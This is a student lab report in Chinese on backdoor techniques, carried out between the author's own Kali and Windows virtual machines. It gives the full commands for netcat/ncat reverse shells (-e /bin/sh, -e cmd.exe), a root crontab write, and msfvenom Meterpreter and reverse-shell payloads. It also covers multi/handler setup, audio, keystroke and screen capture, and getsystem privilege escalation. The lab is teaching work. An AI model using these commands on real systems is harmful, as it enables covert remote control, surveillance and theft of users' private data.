1.實驗內容
1.1 內容總結
後門:特指潛伏於作業系統中專門做後門的一個程式,“壞人”可以連線這個程式,遠端執行各種指令。概念和木馬有重疊。
netcat:一個底層工具,進行基本的TCP UDP資料收發。常被與其他工具結合使用,起到後門的作用。
Meterpreter:一個能生成後門程式的平臺,也有很多別的功能。
cron:linux下用來週期性的執行某種任務或等待處理某些事件的程序。
1.2 問題回答
(1)例舉你能想到的一個後門進入到你係統中的可能方式?
在網上下載不安全的檔案並執行。
(2)例舉你知道的後門如何啟動起來(win及linux)的方式?
win:windows啟動項,任務計劃;
linux:cron啟動。
(3)Meterpreter有哪些給你印象深刻的功能?
Meterpreter令我印象深刻的功能有自動生成shellcode,獲取敏感資訊和提權的功能。
(4)如何發現自己有系統有沒有被安裝後門?
排查系統自啟動目錄,登錄檔,計劃任務等。
1.3 實踐目標
(1)使用netcat獲取主機操作Shell,cron啟動某項任務(任務自定)
(2)使用socat獲取主機操作Shell, 任務計劃啟動
(3)使用MSF meterpreter(或其他軟體)生成可執行檔案(後門),利用ncat或socat傳送到主機並執行獲取主機Shell
(4)使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容的後門,並嘗試提權
(5)使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell。
2.實驗過程
2.1 環境準備
因為本次實驗需要兩臺主機間進行操作,所以我準備了kali 32位虛擬機器和windows10 64位虛擬機器。查詢各自的ip地址。
kali ip:192.168.206.128
windows ip:192.168.206.129
在windows上關閉安全防護和防火牆。安裝netcat,socat。
2.2 使用netcat獲取主機操作Shell,cron啟動某項任務
windows獲取linux shell
在Windows端啟動ncat監聽2416(學號)埠.\nc64.exe -l -p 2416
再在Linux虛擬機器連線Windowsncat 192.168.206.129 2416 -e /bin/sh
獲取成功。
linux獲取windows shell
在Linux端啟動ncat監聽2416埠nc -l -p 2416
再在Windows連線Linux ncat.exe -e cmd.exe 192.168.206.129 2416
獲取成功。
cron啟動任務
使用windows連線kali shell,輸入命令
echo "* * * * * echo \"20222416text\" > /home/kali/20222416.txt" >/var/spool/cron/crontabs/root
五個*號代表每分鐘執行一次,將“20222416text”寫入到20222416.txt檔案中。echo" "代表要將這段程式碼寫入root檔案中。
透過crontab -l
可以看到程式碼已經成功寫入。最好在kali重新啟動一下crontab,否則有時候檔案會生成不出來。
執行前的目錄:
執行後的目錄:
cron啟動任務成功。
2.3 使用socat獲取主機操作Shell, 任務計劃啟動
操作步驟同上面的linux獲取windows shell相似。linux監聽埠,windows傳送cmd到linux上。在獲取的windows shell上建立名為“20222416test”的任務計劃,這個任務計劃的目標是開啟桌面上的cygwin安裝程式。
任務計劃執行的程式如下:
可以看到任務新增成功,每隔一分鐘執行一次
任務計劃執行成功
2.4 使用MSF meterpreter生成可執行檔案(後門),利用ncat或socat傳送到主機並執行獲取主機Shell
使用MSF先在linux生成後門檔案
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.206.128 LPORT=2416 -f exe > 20222416_backdoor.exe
我使用ncat傳輸的檔案會有問題,所以我在windows使用socat監聽等待傳送檔案
在linux發出傳送
成功接收檔案。
使用msfconsole
進入msf控制檯,在linux設定監聽
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.206.128
set LPORT 2416
在windows上啟動後門檔案
獲取shell成功
2.5 使用MSF meterpreter生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容的後門,並嘗試提權
在上面的步驟中已經可以使用後門程式了。在msf控制檯繼續輸入命令來獲取關鍵內容
獲取音訊內容
獲取攝像頭內容(由於虛擬機器沒有給予攝像頭的許可權所以獲取失敗)
獲取鍵盤輸入的內容。首先在windows上輸入內容
然後獲取
獲取螢幕截圖
檢查是否為虛擬機器
獲取安裝軟體目錄
輸入getsystem
嘗試提權
提權完成。
2.6 使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell
我將實踐1的pwn1檔案改名為“20222416pwnb”。使用msf生成需要的shellcode注入到檔案中
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.206.128 LPORT=2416 -x /home/kali/Desktop -f elf > 20222416pwnb
使用msf控制檯監聽
在另一個終端中執行20222416pwnb檔案
此時msf連線成功,使用ls可以看到桌面的所有檔案
再嘗試使用ifconfig檢視ip
連線完成。
3.問題及解決方案
-
問題1:windows可以ping通kali,kali不能ping通windows
-
問題1解決方案:關閉windows防火牆。
-
問題2:windows在獲取kali shell後修改cron後,root檔案中也有了修改後的命令,但是kali沒有生成預想的檔案
-
問題2解決方案:重新在kali中啟動一下crontab,例如輸入
crontab -l
,然後cron就可以正常執行了。 -
問題3:傳送的檔案無法執行,windows提示不支援執行這個檔案
-
問題3解決方案:首先我懷疑是檔案生成的問題。在生成後門檔案中加入了命令
-a x86 --platform windows
,使用ncat傳送檔案後仍然無法執行。檢查檔案後發現檔案大小存在問題,於是懷疑是傳輸過程出了問題,但不知道問題在哪,於是才用socat傳輸檔案,傳輸的檔案大小正常,可以執行。 -
問題4:windows無法執行socat,提示缺失檔案
-
問題4解決方案:在更換好幾個網上的版本但仍然無法執行後,我打算上github下載。檢視socat的github專案的說明(socat-1.8.0.1 for Windows),發現我沒有安裝cygwin。在第一次安裝cygwin時,我沒有安裝一些必需要安裝的包,因此還是執行失敗,再次檢查發現github專案文件中已經給出了執行socat需要安裝的包,選擇這些庫進行安裝後socat可以成功執行。這些庫如下
4.學習感悟、思考
在本次實驗中,我使用netcat和socat互相獲取kali主機和windows主機的Shell,並對kali新增了cron定時任務、使用schtasks命令對windows新增任務計劃,透過cron和任務計劃我可以在合適的時機執行我想要的操作。在使用MSF生成後門程式併成功監聽時,我見識到了MSF的強大功能:我可以遠端獲取主機的麥克風、攝像頭、螢幕內容,也可以透過讀取鍵盤輸入來獲取密碼等隱私資訊,還可以直接獲取電腦上的資訊,而且對於正在使用的使用者來說幾乎毫無感知。一旦電腦上安裝了危險的後門程式,個人的資訊就非常容易在不知不覺中洩露,在某些情況下,攻擊者還可以破壞電腦的硬體。我記得在十年前上網的時候,網路上的資源非常多,什麼都有,但是隨便下載個檔案都可能被360安全衛士報為威脅,網路上到處都是危險。現在沒有那麼多了,很少見到火絨給我報危險了。我認為這其中的原因有兩點:一是現在的安全手段更多,更全面了;二是現在網路環境的後門程式病毒等威脅技術更高了,更加隱蔽了。無論在以前還是現在,我們都需要有安全意識,做好電腦的安全防護措施。
參考資料
- valorisa/socat-1.8.0.1 for Windows
- 0x21_MAL_後門原理與實踐